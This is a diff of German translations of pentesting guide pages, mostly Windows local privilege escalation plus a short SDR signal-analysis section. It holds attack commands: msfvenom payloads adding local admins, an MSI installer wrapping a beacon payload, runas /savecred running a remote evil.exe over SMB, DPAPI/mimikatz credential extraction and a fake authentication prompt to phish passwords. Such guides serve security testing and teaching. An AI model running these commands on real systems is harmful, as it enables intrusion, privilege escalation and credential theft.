@ -135,15 +137,17 @@ Schließlich können Sie durch **Erhöhen** des **Zooms** und **Ändern der Zeil
![](<../../images/image (276).png>)
Wenn das Signal mehr als 1 Bit pro Symbol hat (zum Beispiel 2), hat SigDigger **keine Möglichkeit zu wissen, welches Symbol** 00, 01, 10, 11 ist, sodass es verschiedene **Graustufen** verwendet, um jedes darzustellen (und wenn Sie die Bits kopieren, verwendet es **Zahlen von 0 bis 3**, die Sie behandeln müssen).
Wenn das Signal mehr als 1 Bit pro Symbol hat (zum Beispiel 2), hat SigDigger **keine Möglichkeit zu wissen, welches Symbol 00, 01, 10, 11 ist**, sodass es verschiedene **Graustufen** verwendet, um jedes darzustellen (und wenn Sie die Bits kopieren, verwendet es **Zahlen von 0 bis 3**, die Sie behandeln müssen).
Verwenden Sie auch **Codierungen** wie **Manchester**, und **up+down** kann **1 oder 0** sein und ein down+up kann eine 1 oder 0 sein. In diesen Fällen müssen Sie die erhaltenen Ups (1) und Downs (0) behandeln, um die Paare von 01 oder 10 als 0s oder 1s zu ersetzen.
Verwenden Sie auch **Codierungen** wie **Manchester**, und **up+down** kann **1 oder 0** sein und ein down+up kann eine 1 oder 0 sein. In diesen Fällen müssen Sie die erhaltenen ups (1) und downs (0) behandeln, um die Paare von 01 oder 10 als 0s oder 1s zu ersetzen.
## FM-Beispiel
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Aufdecken von FM
### FM aufdecken
#### Überprüfung der Frequenzen und Wellenform
@ -151,11 +155,11 @@ Signalbeispiel, das Informationen moduliert in FM sendet:
![](<../../images/image (725).png>)
Im vorherigen Bild können Sie ziemlich gut beobachten, dass **2 Frequenzen verwendet werden**, aber wenn Sie die **Wellenform** beobachten, könnten Sie **nicht in der Lage sein, die 2 verschiedenen Frequenzen korrekt zu identifizieren**:
Im vorherigen Bild können Sie ziemlich gut beobachten, dass **2 Frequenzen verwendet werden**, aber wenn Sie die **Wellenform** beobachten, könnten Sie **die 2 verschiedenen Frequenzen möglicherweise nicht korrekt identifizieren**:
![](<../../images/image (717).png>)
Das liegt daran, dass ich das Signal in beiden Frequenzen erfasst habe, daher ist eine ungefähr die andere in negativ:
Das liegt daran, dass ich das Signal in beiden Frequenzen erfasst habe, daher ist eine ungefähr die andere negativ:
![](<../../images/image (942).png>)
@ -183,16 +187,16 @@ Und dies wäre das Phasenhistogramm (was sehr klar macht, dass das Signal nicht
IQ hat kein Feld zur Identifizierung von Frequenzen (Abstand zum Zentrum ist Amplitude und Winkel ist Phase).\
Daher sollten Sie zur Identifizierung von FM **grundsätzlich nur einen Kreis** in diesem Diagramm sehen.\
Darüber hinaus wird eine andere Frequenz im IQ-Diagramm durch eine **Geschwindigkeitsbeschleunigung über den Kreis** "repräsentiert" (wenn Sie in SysDigger das Signal auswählen, wird das IQ-Diagramm gefüllt; wenn Sie eine Beschleunigung oder Richtungsänderung im erzeugten Kreis finden, könnte das bedeuten, dass es sich um FM handelt):
Darüber hinaus wird eine andere Frequenz im IQ-Diagramm durch eine **Geschwindigkeitsbeschleunigung über den Kreis** "dargestellt" (wenn Sie in SysDigger das Signal auswählen, wird das IQ-Diagramm gefüllt; wenn Sie eine Beschleunigung oder Richtungsänderung im erzeugten Kreis finden, könnte das bedeuten, dass es sich um FM handelt):
![](<../../images/image (81).png>)
### Symbolrate erhalten
Sie können die **gleiche Technik wie im AM-Beispiel verwenden**, um die Symbolrate zu erhalten, sobald Sie die Frequenzen gefunden haben, die Symbole tragen.
Sie können die **gleiche Technik wie im AM-Beispiel** verwenden, um die Symbolrate zu erhalten, sobald Sie die Frequenzen gefunden haben, die Symbole tragen.
### Bits erhalten
Sie können die **gleiche Technik wie im AM-Beispiel verwenden**, um die Bits zu erhalten, sobald Sie **festgestellt haben, dass das Signal in Frequenz moduliert ist** und die **Symbolrate**.
Sie können die **gleiche Technik wie im AM-Beispiel** verwenden, um die Bits zu erhalten, sobald Sie **festgestellt haben, dass das Signal in Frequenz moduliert ist** und die **Symbolrate**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
### **Bestes Tool zur Suche nach Windows-Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Bestes Tool zur Suche nach Windows-Lokalen Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
## Initiale Windows-Theorie
@ -38,11 +38,11 @@ Es gibt verschiedene Dinge in Windows, die **Sie daran hindern könnten, das Sys
../authentication-credentials-uac-and-efs/
{{#endref}}
## Systeminformationen
## Systeminfo
### Versionsinformationen enumerieren
### Versionsinfo-Enumeration
Überprüfen Sie, ob die Windows-Version bekannte Schwachstellen aufweist (überprüfen Sie auch die angewendeten Patches).
Überprüfen Sie, ob die Windows-Version bekannte Sicherheitsanfälligkeiten aufweist (überprüfen Sie auch die angewendeten Patches).
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### Version Exploits
Diese [Seite](https://msrc.microsoft.com/update-guide/vulnerability) ist nützlich, um detaillierte Informationen über Microsoft-Sicherheitsanfälligkeiten zu suchen. Diese Datenbank enthält mehr als 4.700 Sicherheitsanfälligkeiten und zeigt die **massive Angriffsfläche**, die eine Windows-Umgebung bietet.
Diese [Seite](https://msrc.microsoft.com/update-guide/vulnerability) ist nützlich, um detaillierte Informationen über Microsoft-Sicherheitsanfälligkeiten zu suchen. Diese Datenbank hat mehr als 4.700 Sicherheitsanfälligkeiten, die die **massive Angriffsfläche** zeigen, die eine Windows-Umgebung bietet.
**Auf dem System**
@ -85,7 +85,7 @@ set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
```
### PowerShell-Historie
### PowerShell Verlauf
```bash
ConsoleHost_history #Find the PATH where is saved
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell-Transkriptdateien
Sie können lernen, wie Sie dies aktivieren, in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
Sie können lernen, wie man dies aktiviert unter [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
Ein vollständiger Aktivitäts- und Inhaltsnachweis der Ausführung des Skripts wird erfasst, wodurch sichergestellt wird, dass jeder Codeblock dokumentiert wird, während er ausgeführt wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für die Forensik und die Analyse böswilligen Verhaltens wertvoll ist. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Prozess bereitgestellt.
Ein vollständiger Aktivitäts- und Inhaltsnachweis der Ausführung des Skripts wird erfasst, wodurch sichergestellt wird, dass jeder Codeblock dokumentiert wird, während er ausgeführt wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für forensische Untersuchungen und die Analyse bösartigen Verhaltens wertvoll ist. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Prozess bereitgestellt.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
Die Protokollereignisse für das Script Block können im Windows-Ereignisanzeiger unter dem Pfad: **Anwendungs- und Dienstprotokolle > Microsoft > Windows > PowerShell > Betrieb** gefunden werden.\
Die Protokollereignisse für den Script Block können im Windows-Ereignisanzeiger unter dem Pfad: **Anwendungs- und Dienstprotokolle > Microsoft > Windows > PowerShell > Betrieb** gefunden werden.\
Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -158,7 +158,7 @@ Sie beginnen damit, zu überprüfen, ob das Netzwerk ein nicht-SSL WSUS-Update v
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
Wenn Sie eine Antwort erhalten wie:
Wenn Sie eine Antwort wie folgt erhalten:
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
@ -167,11 +167,13 @@ Und wenn `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServ
Dann ist **es ausnutzbar.** Wenn der letzte Registrierungseintrag gleich 0 ist, wird der WSUS-Eintrag ignoriert.
Um diese Schwachstellen auszunutzen, können Sie Tools wie: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) verwenden - dies sind MiTM-waffenfähige Exploit-Skripte, um 'falsche' Updates in nicht-SSL WSUS-Verkehr einzuschleusen.
Um diese Schwachstellen auszunutzen, können Sie Tools wie: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) verwenden - Dies sind MiTM-waffenfähige Exploit-Skripte, um 'falsche' Updates in nicht-SSL WSUS-Verkehr einzuschleusen.
Lesen Sie die Forschung hier:
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
{{#file}}
CTX_WSUSpect_White_Paper (1).pdf
{{#endfile}}
**WSUS CVE-2020-1013**
@ -194,7 +196,7 @@ Für weitere Informationen über den Ablauf des Angriffs überprüfen Sie [https
## AlwaysInstallElevated
**Wenn** diese 2 Registrierungen **aktiviert** sind (Wert ist **0x1**), können Benutzer mit beliebigen Berechtigungen `*.msi`-Dateien als NT AUTHORITY\\**SYSTEM** **installieren** (ausführen).
**Wenn** diese 2 Registrierungen **aktiviert** sind (Wert ist **0x1**), können Benutzer mit beliebigen Rechten `*.msi`-Dateien als NT AUTHORITY\\**SYSTEM** **installieren** (ausführen).
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -208,11 +210,11 @@ Wenn Sie eine Meterpreter-Sitzung haben, können Sie diese Technik mit dem Modul
### PowerUP
Verwenden Sie den Befehl `Write-UserAddMSI` von PowerUP, um im aktuellen Verzeichnis eine Windows MSI-Binärdatei zu erstellen, um Privilegien zu eskalieren. Dieses Skript erstellt einen vorkompilierten MSI-Installer, der nach einer Benutzer-/Gruppenzuordnung fragt (Sie benötigen also GUI-Zugriff):
Verwenden Sie den Befehl `Write-UserAddMSI` von PowerUP, um im aktuellen Verzeichnis eine Windows MSI-Binärdatei zu erstellen, um Privilegien zu eskalieren. Dieses Skript erstellt einen vorkompilierten MSI-Installer, der nach einer Benutzer-/Gruppenergänzung fragt (Sie benötigen also GUI-Zugriff):
```
Write-UserAddMSI
```
Führen Sie einfach die erstellte Binärdatei aus, um die Berechtigungen zu eskalieren.
Führen Sie einfach die erstellte Binärdatei aus, um die Berechtigungen zu erhöhen.
### MSI Wrapper
@ -231,15 +233,15 @@ create-msi-with-wix.md
### Erstellen Sie MSI mit Visual Studio
- **Generieren** Sie mit Cobalt Strike oder Metasploit eine **neue Windows EXE TCP Payload** in `C:\privesc\beacon.exe`
- Öffnen Sie **Visual Studio**, wählen Sie **Ein neues Projekt erstellen** und geben Sie "installer" in das Suchfeld ein. Wählen Sie das Projekt **Setup Wizard** und klicken Sie auf **Weiter**.
- Öffnen Sie **Visual Studio**, wählen Sie **Ein neues Projekt erstellen** und geben Sie "installer" in das Suchfeld ein. Wählen Sie das **Setup Wizard**-Projekt und klicken Sie auf **Weiter**.
- Geben Sie dem Projekt einen Namen, wie **AlwaysPrivesc**, verwenden Sie **`C:\privesc`** für den Speicherort, wählen Sie **Lösung und Projekt im selben Verzeichnis platzieren** und klicken Sie auf **Erstellen**.
- Klicken Sie weiter auf **Weiter**, bis Sie zu Schritt 3 von 4 (Dateien auswählen) gelangen. Klicken Sie auf **Hinzufügen** und wählen Sie die gerade generierte Beacon-Payload aus. Klicken Sie dann auf **Fertigstellen**.
- Markieren Sie das Projekt **AlwaysPrivesc** im **Solution Explorer** und ändern Sie in den **Eigenschaften** **TargetPlatform** von **x86** auf **x64**.
- Es gibt andere Eigenschaften, die Sie ändern können, wie **Author** und **Manufacturer**, die die installierte App legitimer erscheinen lassen können.
- Markieren Sie das **AlwaysPrivesc**-Projekt im **Solution Explorer** und ändern Sie in den **Eigenschaften** **TargetPlatform** von **x86** auf **x64**.
- Es gibt andere Eigenschaften, die Sie ändern können, wie **Autor** und **Hersteller**, die die installierte App legitimer erscheinen lassen können.
- Klicken Sie mit der rechten Maustaste auf das Projekt und wählen Sie **Ansicht > Benutzerdefinierte Aktionen**.
- Klicken Sie mit der rechten Maustaste auf **Installieren** und wählen Sie **Benutzerdefinierte Aktion hinzufügen**.
- Doppelklicken Sie auf **Anwendungsordner**, wählen Sie Ihre **beacon.exe**-Datei aus und klicken Sie auf **OK**. Dies stellt sicher, dass die Beacon-Payload ausgeführt wird, sobald der Installer gestartet wird.
- Ändern Sie unter den **Eigenschaften der benutzerdefinierten Aktion** **Run64Bit** auf **True**.
- Ändern Sie unter den **Eigenschaften der benutzerdefinierten Aktion** **Run64Bit** in **True**.
- Schließlich **bauen** Sie es.
- Wenn die Warnung `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` angezeigt wird, stellen Sie sicher, dass Sie die Plattform auf x64 eingestellt haben.
@ -255,7 +257,7 @@ Um diese Schwachstelle auszunutzen, können Sie verwenden: _exploit/windows/loca
### Audit-Einstellungen
Diese Einstellungen entscheiden, was **protokolliert** wird, daher sollten Sie darauf achten
Diese Einstellungen entscheiden, was **protokolliert** wird, daher sollten Sie darauf achten.
```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** ist für die **Verwaltung von lokalen Administratorpasswörtern** konzipiert, wobei sichergestellt wird, dass jedes Passwort **einzigartig, zufällig und regelmäßig aktualisiert** wird auf Computern, die einer Domäne beigetreten sind. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, die über ausreichende Berechtigungen durch ACLs verfügen, die es ihnen ermöglichen, lokale Admin-Passwörter einzusehen, wenn sie autorisiert sind.
**LAPS** ist für die **Verwaltung von lokalen Administratorpasswörtern** konzipiert, die sicherstellen, dass jedes Passwort **einzigartig, zufällig und regelmäßig aktualisiert** wird auf Computern, die einer Domäne beigetreten sind. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, die über ausreichende Berechtigungen durch ACLs verfügen, die es ihnen ermöglichen, lokale Admin-Passwörter einzusehen, wenn sie autorisiert sind.
{{#ref}}
../active-directory-methodology/laps.md
@ -296,7 +298,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
### Cached Credentials
**Domänenanmeldeinformationen** werden von der **Local Security Authority** (LSA) authentifiziert und von Betriebssystemkomponenten verwendet. Wenn die Anmeldedaten eines Benutzers von einem registrierten Sicherheits-Paket authentifiziert werden, werden normalerweise Domänenanmeldeinformationen für den Benutzer erstellt.\
[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
[**Weitere Informationen zu Cached Credentials hier**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
@ -358,7 +360,7 @@ powershell -command "Get-Clipboard"
### Datei- und Ordners Berechtigungen
Zuerst sollten Sie die Prozesse **auf Passwörter in der Befehlszeile des Prozesses überprüfen**.\
Zunächst einmal, listen Sie die Prozesse **überprüfen Sie Passwörter in der Befehlszeile des Prozesses**.\
Überprüfen Sie, ob Sie **eine laufende Binärdatei überschreiben** können oder ob Sie Schreibberechtigungen für den Binärordner haben, um mögliche [**DLL Hijacking-Angriffe**](dll-hijacking/index.html) auszunutzen:
```bash
Tasklist /SVC #List processes running and services
@ -370,7 +372,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Überprüfen Sie immer, ob mögliche [**electron/cef/chromium-Debugger** ausgeführt werden, die Sie missbrauchen könnten, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Überprüfen Sie immer, ob mögliche [**electron/cef/chromium-Debugger** laufen, Sie könnten dies ausnutzen, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Überprüfen der Berechtigungen der Prozess-Binärdateien**
```bash
@ -412,7 +414,7 @@ Get-Service
```
### Berechtigungen
Sie können **sc** verwenden, um Informationen zu einem Dienst zu erhalten.
Sie können **sc** verwenden, um Informationen über einen Dienst zu erhalten.
```bash
sc qc <service_name>
```
@ -434,14 +436,14 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Wenn Sie diesen Fehler haben (zum Beispiel mit SSDPSRV):
_Systemfehler 1058 ist aufgetreten._\
&#xNAN;_&#x54;der Dienst kann nicht gestartet werden, entweder weil er deaktiviert ist oder weil keine aktivierten Geräte damit verbunden sind._
&#xNAN;_&#x54;Der Dienst kann nicht gestartet werden, entweder weil er deaktiviert ist oder weil keine aktivierten Geräte damit verbunden sind._
Sie können ihn aktivieren, indem Sie
```bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**Beachten Sie, dass der Dienst upnphost von SSDPSRV abhängt, um zu funktionieren (für XP SP1)**
**Berücksichtigen Sie, dass der Dienst upnphost von SSDPSRV abhängt, um zu funktionieren (für XP SP1)**
**Eine weitere Lösung** dieses Problems besteht darin, Folgendes auszuführen:
```
@ -517,7 +519,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, wird Windows versuchen, jede Endung vor einem Leerzeichen auszuführen.
Zum Beispiel wird Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ versuchen, Folgendes auszuführen:
Zum Beispiel wird Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ versuchen, auszuführen:
```powershell
C:\Program.exe
C:\Program Files\Some.exe
@ -543,7 +545,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
```powershell
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
**Sie können diese Schwachstelle mit Metasploit erkennen und ausnutzen:** `exploit/windows/local/trusted\_service\_path` Sie können manuell eine Dienst-Binärdatei mit Metasploit erstellen:
**Sie können diese Schwachstelle mit metasploit erkennen und ausnutzen:** `exploit/windows/local/trusted\_service\_path` Sie können manuell eine Dienst-Binärdatei mit metasploit erstellen:
```bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
```
@ -715,7 +717,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
Dann können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Das folgende Beispiel ruft eine Remote-Binärdatei über einen SMB-Freigabe auf.
Dann können Sie `runas` mit der Option `/savecred` verwenden, um die gespeicherten Anmeldeinformationen zu nutzen. Das folgende Beispiel ruft eine entfernte Binärdatei über einen SMB-Freigabe auf.
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
@ -738,7 +740,7 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
Sie können das **mimikatz-Modul** `dpapi::masterkey` mit den entsprechenden Argumenten (`/pvk` oder `/rpc`) verwenden, um es zu entschlüsseln.
Die **von dem Master-Passwort geschützten Anmeldeinformationen-Dateien** befinden sich normalerweise in:
Die **von dem Master-Passwort geschützten Anmeldeinformationsdateien** befinden sich normalerweise in:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -754,9 +756,9 @@ dpapi-extracting-passwords.md
### PowerShell-Anmeldeinformationen
**PowerShell-Anmeldeinformationen** werden häufig für **Skripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch **DPAPI** geschützt, was normalerweise bedeutet, dass sie nur von demselben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.
**PowerShell-Anmeldeinformationen** werden häufig für **Scripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch **DPAPI** geschützt, was normalerweise bedeutet, dass sie nur von demselben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.
Um **PS-Anmeldeinformationen** aus der Datei, die sie enthält, zu **entschlüsseln**, können Sie Folgendes tun:
Um eine PS-Anmeldeinformation aus der Datei, die sie enthält, zu **entschlüsseln**, können Sie Folgendes tun:
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -902,19 +904,19 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
### SSH-Schlüssel in der Registrierung
SSH-Private Schlüssel können im Registrierungsschlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher sollten Sie überprüfen, ob dort etwas Interessantes vorhanden ist:
SSH-Private Schlüssel können im Registrierungsschlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher sollten Sie überprüfen, ob dort etwas Interessantes zu finden ist:
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er wird verschlüsselt gespeichert, kann jedoch leicht mit [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) entschlüsselt werden.\
Weitere Informationen zu dieser Technik finden Sie hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Booten automatisch startet, führen Sie Folgendes aus:
Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Booten automatisch startet, führen Sie aus:
```bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
> Es scheint, dass diese Technik nicht mehr gültig ist. Ich habe versucht, einige SSH-Schlüssel zu erstellen, sie mit `ssh-add` hinzuzufügen und mich über SSH bei einer Maschine anzumelden. Der Registrierungseintrag HKCU\Software\OpenSSH\Agent\Keys existiert nicht und Procmon hat die Verwendung von `dpapi.dll` während der asymmetrischen Schlüsselauthentifizierung nicht identifiziert.
> Es scheint, dass diese Technik nicht mehr gültig ist. Ich habe versucht, einige SSH-Schlüssel zu erstellen, sie mit `ssh-add` hinzuzufügen und mich über SSH bei einer Maschine anzumelden. Der Registrierungsschlüssel HKCU\Software\OpenSSH\Agent\Keys existiert nicht und Procmon hat die Verwendung von `dpapi.dll` während der asymmetrischen Schlüsselauthentifizierung nicht identifiziert.
### Unattended files
```
@ -976,7 +978,7 @@ Suchen Sie nach einer Datei namens **SiteList.xml**
### Cached GPP Passwort
Eine Funktion war zuvor verfügbar, die die Bereitstellung von benutzerdefinierten lokalen Administratorkonten auf einer Gruppe von Maschinen über Gruppenrichtlinienpräferenzen (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Gruppenrichtlinienobjekte (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer zugegriffen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt sind, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernsthaftes Risiko dar, da es Benutzern ermöglichen konnte, erhöhte Berechtigungen zu erlangen.
Eine Funktion war zuvor verfügbar, die die Bereitstellung von benutzerdefinierten lokalen Administratorkonten auf einer Gruppe von Maschinen über Gruppenrichtlinienpräferenzen (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Gruppenrichtlinienobjekte (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer zugegriffen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt waren, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernsthaftes Risiko dar, da es Benutzern ermöglichen konnte, erhöhte Berechtigungen zu erlangen.
Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein "cpassword"-Feld enthalten, das nicht leer ist. Bei Auffinden einer solchen Datei entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über die GPP und den Speicherort der Datei, was bei der Identifizierung und Behebung dieser Sicherheitsanfälligkeit hilft.
@ -1052,7 +1054,7 @@ Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### Nach Anmeldeinformationen fragen
Sie können immer **den Benutzer bitten, seine Anmeldeinformationen oder sogar die Anmeldeinformationen eines anderen Benutzers einzugeben**, wenn Sie denken, dass er sie wissen könnte (beachten Sie, dass **den** Kunden direkt nach den **Anmeldeinformationen** zu fragen, wirklich **riskant** ist):
Sie können immer **den Benutzer bitten, seine Anmeldeinformationen oder sogar die Anmeldeinformationen eines anderen Benutzers einzugeben**, wenn Sie denken, dass er sie wissen könnte (beachten Sie, dass es wirklich **riskant** ist, den **Kunden** direkt nach den **Anmeldeinformationen** zu fragen):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1168,9 +1170,9 @@ Tools zum Extrahieren von Passwörtern aus Browsern:
**Component Object Model (COM)** ist eine Technologie, die im Windows-Betriebssystem integriert ist und die **Interkommunikation** zwischen Softwarekomponenten verschiedener Sprachen ermöglicht. Jede COM-Komponente wird **über eine Klassen-ID (CLSID)** identifiziert, und jede Komponente bietet Funktionalität über eine oder mehrere Schnittstellen, die über Schnittstellen-IDs (IIDs) identifiziert werden.
COM-Klassen und -Schnittstellen sind in der Registry unter **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** und **HKEY\_**_**CLASSES\_**_**ROOT\Interface** definiert. Diese Registry wird erstellt, indem **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** zusammengeführt werden.
COM-Klassen und -Schnittstellen sind in der Registry unter **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** und **HKEY\_**_**CLASSES\_**_**ROOT\Interface** definiert. Diese Registry wird erstellt, indem **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT** zusammengeführt wird.
Innerhalb der CLSIDs dieser Registry finden Sie die untergeordnete Registry **InProcServer32**, die einen **Standardwert** enthält, der auf eine **DLL** verweist, und einen Wert namens **ThreadingModel**, der **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single oder Multi) oder **Neutral** (Thread Neutral) sein kann.
Innerhalb der CLSIDs dieser Registry finden Sie den untergeordneten Registrierungseintrag **InProcServer32**, der einen **Standardwert** enthält, der auf eine **DLL** verweist, und einen Wert namens **ThreadingModel**, der **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single oder Multi) oder **Neutral** (Thread Neutral) sein kann.
![](<../../images/image (729).png>)
@ -1206,7 +1208,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
### Tools, die nach Passwörtern suchen
